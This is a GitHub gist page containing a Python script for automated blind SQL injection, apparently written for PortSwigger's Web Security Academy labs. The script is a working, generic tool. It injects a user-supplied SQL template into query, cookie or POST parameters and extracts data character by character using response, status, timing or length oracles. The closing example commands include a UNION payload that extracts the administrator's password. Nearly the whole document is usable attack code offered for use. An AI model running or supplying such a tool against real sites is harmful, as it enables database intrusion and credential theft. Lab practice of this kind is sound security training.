Skip to content

Instantly share code, notes, and snippets.

@3lpsy
Last active February 25, 2021 23:20
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save 3lpsy/1497a19d518404034dc3e2ea17e7e588 to your computer and use it in GitHub Desktop.
Save 3lpsy/1497a19d518404034dc3e2ea17e7e588 to your computer and use it in GitHub Desktop.
Scuffed Blind SQL Injection for Burp's Web Sec Academy
import requests
from pathlib import Path
from urllib.parse import quote, urlencode
import argparse
from string import ascii_lowercase, printable, ascii_uppercase
import os
from urllib3.exceptions import InsecureRequestWarning
# This actually a pretty bad implementation. I wrote it in about an hour and then
# weaseled in features as needed
# Improvements:
# Support more auxiliary data (form, query, additional cookies, headers)
# Support other method types
# Binary search (requires more intelligence than just a template)
# Important Notes:
# - Urlencoding of param/query data is disabled by default
# - There's a few character set options. This matters in context.
# - If a repeating character is found greater than 3 (default) it'll be stripped and
# the script will add that character to an exclusion list for the rest of the brute force
# - If extracting data, you probably want the -a option
# - If figuring things out, do a length(version()) varient and use the hundred charset (without -a)
# - Everything is whacky and done in a write once, never refactor style
# CHARSET= str(ascii_lowercase) + "".join([str(x.upper()) for x in str(ascii_lowercase)]) + "".join([str(x) for x in range(0,10)])
NUM = "".join([str(x) for x in range(0, 10)])
LOWER_AND_NUM = str(ascii_lowercase) + NUM
PRINTABLE = LOWER_AND_NUM + ascii_uppercase + '._-~,:;+'
PRINTABLE_EXT = PRINTABLE + '!"#$%&\'()*+/?@[\\]^`{|} '
HUNDRED = [i for i in range(0,99)]
CHARSETS = {
"num": NUM,
"hundred": HUNDRED,
"lowernum": LOWER_AND_NUM,
"printable": PRINTABLE,
"printable_ext": PRINTABLE_EXT,
"printable_all": printable
}
DEBUG = False
PROXY_URL = ""
MATCH_CHOICES = ["contains", "status", "missing", "elapsed", "true_cl", "false_cl"]
LOC_CHOICES = ["query", "cookie", "param"]
CONTENT_TYPES = {
"form": "application/x-www-form-urlencoded",
"json": "application/json",
"xml": "text/xml"
}
def debug(msg):
global DEBUG
if DEBUG:
print(msg)
def _post(*args, **kwargs):
global PROXY_URL
if PROXY_URL:
kwargs["proxies"] = {"http": PROXY_URL, "https": PROXY_URL}
kwargs["verify"] = False
return requests.post(*args, **kwargs)
def _get(*args, **kwargs):
global PROXY_URL
if PROXY_URL:
kwargs["proxies"] = {"http": PROXY_URL, "https": PROXY_URL}
kwargs["verify"] = False
return requests.get(*args, **kwargs)
def paramify(url, name, payload, extra_queries=None):
extra_queries = extra_queries or []
# bad
if "?" not in url:
url = url + "?"
param_str = "%s=%s" % (name, payload)
if url.endswith("?"):
url = url + param_str
else:
url = url + "&" + param_str
for extra in extra_queries:
param_str = "%s=%s" % (extra[0], extra[1])
url = url + "&" + param_str
return url
def send(url, payload, name, location, extra_queries=None,extra_params=None, content_type=None):
content_type = content_type or CONTENT_TYPES["form"]
# TODO implement extra_queries
extra_params = extra_params or []
cookies = {}
headers = {}
kwargs = {}
method = _get
if location.lower() == "cookie":
cookies[name] = payload
elif location.lower() == "query" and len(name) < 1:
url = url + "?" + payload
elif location.lower() == "query":
url = paramify(url, name, payload, extra_queries=extra_queries)
elif location.lower() == "param":
method = _post
extra_params.append([name, payload])
params = {}
def dummy(val, *args, **kwargs):
return val
for p in extra_params:
params[p[0]] = p[1]
param_str = urlencode(params, quote_via=dummy)
kwargs["data"] = param_str
headers["Content-Type"] = content_type
kwargs["headers"] = headers
kwargs['cookies'] = cookies
return method(url, **kwargs)
def matches(match, match_type, r):
if match_type == "contains":
return match in str(r.text)
elif match_type == "status":
return r.status_code == int(match)
elif match_type == "missing":
return match not in str(r.text)
elif match_type == "elapsed":
return r.elapsed.total_seconds() >= int(match) and r.elapsed.total_seconds() < (
3 * int(match)
)
elif match_type == "true_cl":
return int(r.headers["Content-Length"]) == int(match)
elif match_type == "false_cl":
return not int(r.headers["Content-Length"]) == int(match)
raise Exception(f"Invalid match type: {match_type}")
def run(
url,
sql,
name,
location,
match,
match_type,
max_loops,
append_char,
current="",
counter=1,
charset="lowernum",
charset_exclude="",
extra_chars="",
repeat_count=0,
max_repeat=3,
previous="",
extra_queries=None,
extra_params=None,
content_type=None
):
debug(f"[-] Iteration Start: {current}")
CHARSET = CHARSETS[charset]
if isinstance(CHARSET, list):
for x in extra_chars:
CHARSET.append(x)
else:
CHARSET = CHARSET + extra_chars
for c in CHARSET:
c = str(c)
if c in charset_exclude:
debug("[-] Skipping {c}")
continue
if append_char:
candidate = current + c
else:
candidate = c
debug(f"Candidate: {candidate}")
payload = sql.replace("INJECT", candidate)
payload = payload.replace("COUNTER", str(counter))
debug(f"[-] Payload: {payload}")
if location == "query":
debug(f"[-] Url: {paramify(url, name, payload, extra_queries=extra_queries)}")
r = send(url, payload, name, location, extra_queries=extra_queries, extra_params=extra_params)
debug(f"[-] Status: {r.status_code}")
debug(f"[-] Length: {len(r.content)}")
debug(f"[-] Elapsed: {r.elapsed.total_seconds()}")
if match_type in ["true_cl", "false_cl"]:
debug(f"[-] Content-Length: {r.headers['Content-Length']}")
debug("")
if matches(match, match_type, r):
if c == previous:
repeat_count = repeat_count + 1
else:
repeat_count = 0
print(f"[*] Payload: {payload}")
current = current + c
counter = counter + 1
print(f"[*] Found: {candidate}")
print(f"[*] Current: {current}")
debug("")
if repeat_count >= max_repeat:
print(f"[!] Max repetition encountered for {c}. Considering excluding via -C")
if c in charset_exclude:
print(f"[!] Trimming repetition failed. Exiting.")
return current
else:
print(f"[!] Adding {c} to exclusion list.")
charset_exclude = charset_exclude + c
old_len = len(current)
current = current.rstrip(c)
if not current:
print(f"[!] Current only contained dups. Quitting")
return current
print(f"[!] New current: {current}")
len_diff = old_len - len(current)
print(f"[!] Old Counter: {counter}")
print(f"[!] Counter Diff: {len_diff}")
counter = counter - len_diff
print(f"[!] New Counter: {counter}")
return run(
url,
sql,
name,
location,
match,
match_type,
max_loops,
append_char,
current=current,
counter=counter,
charset=charset,
charset_exclude=charset_exclude,
extra_chars=extra_chars,
repeat_count=repeat_count,
previous=c,
extra_queries=extra_queries,
extra_params=extra_params,
content_type=content_type
)
else:
print("[-] Exhausted charset")
return current
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument(
"-s",
"--sql",
help="sql template with INJECT keyword and COUNTER keywords (can also be a file like --sql payload.txt)",
required=True,
)
parser.add_argument(
"-e",
"--urlencode",
action="store_true",
help="perform urlencoding of sql template (use with unencoded SQL templates, only the template is encoded)",
)
parser.add_argument("-m", "--match", help="oracle to match on", required=True)
parser.add_argument(
"-M",
"--match-type",
help="type to match on (very naive, no regex)",
default="contains",
choices=MATCH_CHOICES
)
# max loops doesn't do anything
parser.add_argument("--max-loops", default=20, type=int, help="oracle to match on")
parser.add_argument("-u", "--url", help="url", required=True)
parser.add_argument(
"-l", "--location", help="location type", choices=LOC_CHOICES, required=True
)
parser.add_argument("-n", "--name", help="location name", required=True)
parser.add_argument("-d", "--debug", action="store_true")
parser.add_argument("-c", "--charset", choices=list(CHARSETS.keys()), default="lowernum")
parser.add_argument("-C", "--charset-exclude", action="store", help="string of characters to eclude")
parser.add_argument("-t", "--content-type", action="store", help="content-type to use for param data")
parser.add_argument("--extra-chars", action="store", help="string of extra characters to include/append to charset")
parser.add_argument("-P", "--extra-param", action="append", nargs=2, help="extra k/v values to include in post. requires location type to be param. can be used multiple times like -p k v -p foo bar")
parser.add_argument("-Q", "--extra-query", action="append", nargs=2, help="extra k/v values to include in query values")
parser.add_argument(
"-a",
"--append-char",
action="store_true",
help="append char candidate to previously found value",
)
parser.add_argument("--max-repeat", default=3, help="prevent repetition of characters. increase if greater than 3")
parser.add_argument("-p", "--proxy-url")
args = parser.parse_args()
if args.debug:
DEBUG = True
if args.proxy_url:
PROXY_URL = args.proxy_url
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
sql = args.sql
if Path(sql).exists() and Path(sql).is_file():
sql = Path(sql).read_text().strip()
if args.urlencode:
sql = quote(sql)
charset_exclude = args.charset_exclude or ""
extra_chars = args.extra_chars or ""
extra_params = args.extra_param or []
extra_queries = args.extra_query or []
if args.content_type:
if args.content_type in CONTENT_TYPES.keys():
content_type = CONTENT_TYPES[args.content_type]
else:
content_type = args.content_type
else:
content_type = CONTENT_TYPES["form"]
print(
"Answer:",
run(
args.url,
sql,
args.name,
args.location,
args.match,
args.match_type,
args.max_loops,
args.append_char,
charset=args.charset,
charset_exclude=charset_exclude,
extra_chars=extra_chars,
max_repeat=args.max_repeat,
extra_params=extra_params,
extra_queries=extra_queries,
content_type=content_type
),
)
## python3 brute.py -s "x'+UNION+SELECT+'a'+FROM+users+WHERE+username%3d'administrator'+AND+substring(password,COUNTER,1)='INJECT'+--+-" -n SomeCookie -m 'Welcome' -l cookie -u https://sometarget.web-security-academy.net -d
## python3 brute.py -s "$SQL" -n SomeCookie -l cookie -u $URL -p http://127.0.0.1:8080 -M elapsed -m 5 -d
## python3 brute.py -s "$SQL" -n SomeCookie -l cookie -u $URL -p http://127.0.0.1:8080 -M status -m 500 -d
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment